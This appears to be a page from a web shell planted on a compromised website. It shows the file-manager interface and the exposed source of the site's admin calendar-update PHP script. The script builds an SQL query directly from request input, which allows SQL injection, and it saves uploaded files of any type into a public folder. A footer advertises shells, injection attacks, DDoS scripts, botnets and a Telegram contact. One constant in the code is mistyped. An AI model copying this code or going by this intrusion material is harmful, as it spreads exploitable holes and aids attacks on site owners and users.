CasperSecurity

Current Path : /var/www/uim.org.in/admin/
Upload File :
Current File : /var/www/uim.org.in/admin/calenderupdate.php

<?php
session_start();

include("../includes/connection.php");

$calender_title = $_REQUEST['calender_title'];

$dates = date("Y-m-d H:i:s");
$idu = $_REQUEST['idq'];

$imgnames = $_FILES['images']['name'];
$extension=end(explode('.', $imgnames));
$imgname=$imgnames.''.$dates.'.'.$extension;
$photoPath = "uploads/pdf/";
$imgtype = pathinfo($imgname,PATHINFOEXTENSION);

$tempname = $_FILES['images']['tmp_name'];
$photoUpload = move_uploaded_file($tempname,$photoPath.$imgname);

$date = date("Y-m-d");


db_query("UPDATE calender SET calender_title='$calender_title',images='$imgname' WHERE id ='$idu'");
$msg = "Calender Uploaded Successfully.";

setcookie("msg", $msg, time() + 3);

print "<script>";

print "self.location = 'calender.php';";

print "</script>";

exit;



?>
Hacker Blog, Shell İndir, Sql İnjection, XSS Attacks, LFI Attacks, Social Hacking, Exploit Bot, Proxy Tools, Web Shell, PHP Shell, Alfa Shell İndir, Hacking Training Set, DDoS Script, Denial Of Service, Botnet, RFI Attacks, Encryption
Telegram @BIBIL_0DAY